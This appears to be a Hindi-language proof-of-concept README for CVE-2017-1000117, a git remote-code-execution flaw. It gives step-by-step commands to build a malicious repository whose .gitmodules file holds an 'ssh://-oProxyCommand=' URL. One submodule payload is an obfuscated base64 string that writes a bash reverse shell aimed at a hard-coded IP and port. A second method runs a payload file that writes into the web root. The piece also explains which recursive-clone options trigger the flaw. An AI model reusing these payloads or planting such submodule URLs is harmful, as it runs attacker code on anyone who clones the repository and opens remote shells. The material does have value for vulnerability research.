
CVE-2017-1000117 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट: दुर्भावनापूर्ण git सबमॉड्यूल SSH URL के माध्यम से रिमोट कोड निष्पादन, जो रिकर्सिव क्लोन ऑपरेशन के दौरान रिवर्स शेल पेलोड डिलीवरी को सक्षम बनाता है।
दुर्भावनापूर्ण व्यक्ति एक चतुराई से निर्मित “ssh://…” लिंक बना सकते हैं, जिससे पीड़ित प्रोग्राम निष्पादित करते समय उस दुर्भावनापूर्ण लिंक तक पहुँचता है, और इस प्रकार कमांड निष्पादन प्राप्त होता है। यह लिंक git प्रोजेक्ट की .gitmodules फ़ाइल में रखा जा सकता है, जिससे जब पीड़ित किसी प्रोजेक्ट पर git clone –recurse-submodules/git clone --recursive ऑपरेशन करता है, तो सुरक्षा समस्या उत्पन्न होती है।
प्रस्तावना:
Linux कमांड लाइन में दर्ज करें printf 'a' >> /tmp/pwned.txt यह पाया गया कि tmp निर्देशिका में pwned.txt बनाया गया, जिसमें सामग्री a है।
git init
git remote add origin https://github.com/leezp/CVE-2017-1000117.git
git pull origin master
git submodule add https://github.com/leezp/CVE-2017-1000117.git sub1
([submodule "sub1"] path = sub1 url = https://github.com/leezp/CVE-2017-1000117.git //sub1 और name2 नामक दो submodule उपनिर्देशिकाएँ बनाई गईं)
git submodule add https://github.com/leezp/CVE-2017-1000117.git name2
git add .
git commit -m '1'
git push -u origin master
दो निर्माण विधियाँ हैं:
पहली विधि: .gitmodules फ़ाइल खोलें, सामग्री संशोधित करें (केवल पहले को संशोधित करें, क्योंकि केवल पहले submodule का exp निष्पादित होगा; यहाँ दो बनाने का कारण यह है कि कभी-कभी एक बनाने पर निष्पादन नहीं होता, विशेष कारण में अभी अधिक रुचि नहीं है)
[submodule "name1"]
path = name1
url = ssh://-oProxyCommand=printf cHJpbnRmICJiYXNoIC1pID4vZGV2L3RjcC8xOTIuMTY4LjI1NS4xNTMvMjMzMyAwPiYxIDI+JjEgIiA+PiAvdG1wL3F3ZXI= | base64 -d | sh /bar
[submodule "sub2"]
path = sub2
url = https://github.com/leezp/CVE-2017-1000117.git
(विशेष रूप से .gitmodules.bak1 फ़ाइल देखें) पहली विधि को किसी payload फ़ाइल की आवश्यकता नहीं है।
दूसरी विधि: .gitmodules फ़ाइल खोलें, सामग्री संशोधित करें (केवल पहले को संशोधित करें)
[submodule "sub1"]
path = sub1
url = ssh://-oProxyCommand=sh<payload/wat
[submodule "name2"]
path = name2
url = https://github.com/leezp/CVE-2017-1000117.git
(विशेष रूप से .gitmodules फ़ाइल देखें)
इस विधि में payload फ़ाइल की आवश्यकता होती है, payload फ़ाइल में हम दर्ज करते हैं printf 'sss' > /var/www/html/vul
नोट git clone विधि निम्नलिखित दो में से किसी एक में होनी चाहिए:
git clone --recursive url
git clone --recurse-submodules url
यदि केवल git clone का उपयोग किया जाए, तो केवल सामान्य डाउनलोड होगा और कोई अतिरिक्त फ़ाइल उत्पन्न नहीं होगी, इसलिए भेद्यता ट्रिगर करने की स्थिति काफी कठिन है।